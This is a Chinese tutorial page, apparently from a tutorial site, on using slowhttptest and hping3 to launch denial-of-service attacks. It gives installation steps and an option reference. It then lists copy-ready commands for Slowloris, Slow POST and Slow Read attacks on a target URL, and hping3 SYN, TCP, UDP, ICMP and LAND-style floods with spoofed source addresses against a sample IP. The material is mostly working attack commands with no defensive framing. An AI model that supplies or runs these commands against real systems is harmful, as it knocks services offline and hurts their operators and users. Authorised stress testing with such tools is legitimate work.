zl程序教程

您现在的位置是:首页 >  云平台

当前栏目

slowhttptest 慢速攻击工具入门

2023-06-13 09:16:21 时间

slowhttptest 攻击是一款慢速攻击工具,其擅长攻击Apache/Tomcat这里应用层服务,通常情况下,http协议在接收到完整的客户端请求数据包时才会开始处理本次请求,但如果攻击者通过修改数据包中的Window窗口大小,实现慢速发送数据包,那么服务器就会始终为其保留连接池资源占用,此类大量的并发请求将会导致目标应用服务的连接池爆满,从而无法相应正常用的请求。

1.下载并安装

lyshark@Dell:~$ git clone https://github.com/shekyan/slowhttptest.git
lyshark@Dell:~$ ./configure
lyshark@Dell:~$ make && make install
lyshark@Dell:~$ slowhttptest --help

 -g      在测试完成后,以时间戳为名生成一个CVS和HTML文件的统计数据
 -H      SlowLoris模式
 -B      Slow POST模式
 -R      Range Header模式
 -X      Slow Read模式
 -c      number of connections 测试时建立的连接数
 -d      HTTP proxy host:port  为所有连接指定代理
 -e      HTTP proxy host:port  为探测连接指定代理
 -i      seconds 在slowrois和Slow POST模式中,指定发送数据间的间隔。
 -l      seconds 测试维持时间
 -n      seconds 在Slow Read模式下,指定每次操作的时间间隔。
 -o      file name 使用-g参数时,可以使用此参数指定输出文件名
 -p      seconds 指定等待时间来确认DoS攻击已经成功
 -r      connections per second 每秒连接个数
 -s      bytes 声明Content-Length header的值
 -t      HTTP verb 在请求时使用什么操作,默认GET
 -u      URL  指定目标url
 -v      level 日志等级(详细度)
 -w      bytes slow read模式中指定tcp窗口范围下限
 -x      bytes 在slowloris and Slow POST tests模式中,指定发送的最大数据长度
 -y      bytes slow read模式中指定tcp窗口范围上限
 -z      bytes 在每次的read()中,从buffer中读取数据量

2.使用方式.

slowloris模式:耗尽应用的并发连接池,类似于HTTP层的syn flood 洪水攻击

slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://www.xxx.com/index.html -x 24 -p 3

slow post模式:耗尽应用的并发连接池,类似于HTTP层的syn flood 洪水攻击

slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u https://www.xxx.com/index.html -x 10 -p 3

slow read模式:攻击者通过调整TCP Window窗口大小,使服务器慢速返回数据

slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://www.xxx.com/index.html -p 3

Hping3: 工具的使用,该工具灵活性极高,常用于定制发送TCP/IP数据包,例如定制SYN Flood攻击包,ICMP/UDP等攻击

# 进行Syn Flood攻击, -c=攻击次数/ -d=数据包大小/ -S=Syn/ -p=端口 / -w = window窗口大小 / --flood=洪水攻击 --rand-source=随机源地址
hping3 - c 2000 -d 100 -S -w 64 -p 80 --flood --rand-source 192.168.1.10
hping3 -S -P -U -p 80 --flood --rand-source 192.168.1.10

# 进行TCP Flood攻击,
hping3 -SARFUP -p 80 --flood --rand-source 192.168.1.10

# 进行UDP flood 攻击
hping3 -a 192.168.1.10 --udp -s 53 -d 100 -p 53 --flood 192.168.1.10

# 进行ICMP攻击
hping3 -q -n -a 192.168.1.10 --icmp -d 56 --flood 192.168.1.10

# 特殊TCP攻击:源地址目标地址都是受害者,受害者自己完成三次握手
hping3 -n -a 192.168.1.10 -S -d 100 -p 80 --flood 192.168.1.10